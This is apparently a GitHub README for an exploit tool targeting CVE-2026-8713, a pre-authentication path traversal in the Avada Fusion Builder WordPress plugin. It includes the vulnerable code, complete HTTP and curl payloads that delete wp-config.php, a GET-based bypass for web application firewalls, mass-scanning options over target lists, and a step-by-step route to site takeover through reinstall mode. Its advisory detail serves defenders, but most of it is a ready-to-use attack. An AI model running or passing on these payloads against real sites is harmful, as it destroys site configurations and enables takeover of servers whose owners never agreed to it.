shinthink/cve-2026-8713Pre-auth path traversal to arbitrary file delete in Avada (Fusion) Builder <= 3.15.3 leading to RCE (CVSS 9.1)
CVE-2026-8713 is a CVSS 9.1 critical vulnerability in the Avada (Fusion) Builder plugin/theme for WordPress. The maybe_delete_files() function in the Fusion_Form_DB_Entries class constructs filesystem paths from attacker-controlled form entry values using simple string replacement — without realpath() validation or directory containment checks.
An unauthenticated attacker submits a path traversal payload via the fusion_form_submit_ajax handler. When the Fusion_Form_DB_Privacy shutdown hook processes the entry with privacy_expiration_action=delete, the targeted file is removed from the server.
| Version | Status |
|---|---|
| Fusion Builder ≤ 3.15.3 | Vulnerable |
| Fusion Builder ≥ 3.15.4 | Patched |
| Avada theme (all) | Bundled plugin may be vulnerable |
Note: The Avada theme version (7.x) differs from the Fusion Builder plugin version (3.x). The vulnerability is in the plugin, but the scanner detects both.
In fusion-builder/inc/class-fusion-form-db-entries.php, the maybe_delete_files() method resolves file paths using string replacement without containment validation:
$file_path = str_replace($upload['url'], $upload['path'], $value);
// No realpath() check — path traversal sequences pass through
unlink($file_path);
1. Attacker submits Avada form via wp_ajax_nopriv_fusion_form_submit_ajax
→ Path traversal: ../../wp-config.php
→ privacy_expiration_action = delete
→ privacy_expiration_interval = 0
2. WordPress shutdown hook fires Fusion_Form_DB_Privacy
→ Processes stored form entry
→ Calls maybe_delete_files() on attacker-controlled path
→ wp-config.php deleted
3. WordPress enters setup/install mode
→ Attacker connects site to malicious database
→ Full remote code execution
The AJAX handler is registered with wp_ajax_nopriv_, making it accessible to unauthenticated users:
POST /wp-admin/admin-ajax.php
action=fusion_form_submit_ajax
form_id=<id>
privacy_expiration_action=delete
fusion_privacy_expiration_interval=0
fusion_form_field_<name>=../../wp-config.php
Many hosts block POST to /wp-admin/admin-ajax.php. WordPress accepts parameters via GET on this endpoint, providing a trivial bypass:
GET /wp-admin/admin-ajax.php?action=fusion_form_submit_ajax&form_id=<id>&privacy_expiration_action=delete&...
git clone https://github.com/shinthink/CVE-2026-8713.git
cd CVE-2026-8713
pip install -r requirements.txt
# Detection only (default — no file deletion)
python cve_2026_8713.py -t target.com
# Mass detection
python cve_2026_8713.py -f targets.txt
# Exploit mode — delete wp-config.php
python cve_2026_8713.py -t target.com --exploit
# Delete custom file
python cve_2026_8713.py -t target.com --exploit --delete "../../../debug.log"
-t, --target Single target (domain or IP)
-f, --file Target list, one per line
--exploit Enable file deletion (default: detection only)
--delete PATH Custom file path to delete (default: wp-config.php)
-o, --output Save results to file
--threads Workers (default: 20)
-v, --verbose Show detailed output
$ python cve_2026_8713.py -f targets.txt
CVE-2026-8713 Avada (Fusion) Builder | CVSS 9.1
Mode: Detection | Targets: 521 | Workers: 20
───────────────────────────────────────────────────────
[EXPLOIT] target-vuln.com 1.2s form #3 (AJAX open)
[VULN] target-waf.com 2.1s form #1 (WAF blocked)
[AVADA] target-noform.com 0.5s (no form found)
[-] target-noavada.com 0.3s
───────────────────────────────────────────────────────
Scan complete | Time: 45s
───────────────────────────────────────────────────────
Targets : 521
Avada detected : 47
Forms found : 12
Vulnerable : 9
$ python cve_2026_8713.py -t target.com --exploit -v
CVE-2026-8713 — Avada Builder Exploit
CVSS 9.1 | Pre-Auth | Path Traversal → File Delete → RCE
[+] Found Avada form: id=3
[+] POST form_id=3: HTTP 403 (WAF blocked)
[+] GET form_id=3: HTTP 200 (WAF bypassed)
Host : target.com
Avada : YES
Form : 3
Deleted : wp-config.php (force reinstall → RCE)
Time : 3.2s
Step 1 — Verify Avada
curl -sk 'https://target.com/wp-content/themes/Avada/style.css' | head -5
Step 2 — Find form ID
curl -sk 'https://target.com/' | grep -oP 'fusion-form[^"]*form-id=["\x27](https://github.com/shinthink/cve-2026-8713/blob/HEAD/%5Cd+)'
Step 3 — Submit form with path traversal
curl -sk -X POST \
-d 'action=fusion_form_submit_ajax' \
-d 'form_id=3' \
-d 'privacy_expiration_action=delete' \
-d 'fusion_privacy_expiration_interval=0' \
-d 'fusion_form_field_x=../../wp-config.php' \
'https://target.com/wp-admin/admin-ajax.php'
Step 4 — WAF Bypass (if POST blocked)
curl -sk 'https://target.com/wp-admin/admin-ajax.php?action=fusion_form_submit_ajax&form_id=3&privacy_expiration_action=delete&fusion_privacy_expiration_interval=0&fusion_form_field_x=../../wp-config.php'
Step 5 — Verify & Exploit RCE
# Site in install mode?
curl -sk -o /dev/null -w '%{http_code}' 'https://target.com/wp-admin/install.php'
# HTTP 200 → wp-config deleted → connect malicious DB → full RCE
FOR EDUCATIONAL AND AUTHORIZED TESTING PURPOSES ONLY.
This software is intended for security professionals conducting authorized penetration tests, organizations auditing their own infrastructure, and researchers studying vulnerability exploitation.
Unauthorized access to computer systems is illegal and may violate:
- United States: Computer Fraud and Abuse Act (18 U.S.C. 1030)
- Indonesia: UU ITE Pasal 30 & 46
- European Union: Directive 2013/40/EU
- United Kingdom: Computer Misuse Act 1990
The authors assume no liability for misuse.
This project is not affiliated with ThemeFusion or Avada.
| Resource | Link |
|---|
| IONIX Advisory | ionix.io/threat-center/cve-2026-8713 |
| Wordfence Advisory | wordfence.com |
| Patchstack | patchstack.com |
| NVD Entry | CVE-2026-8713 |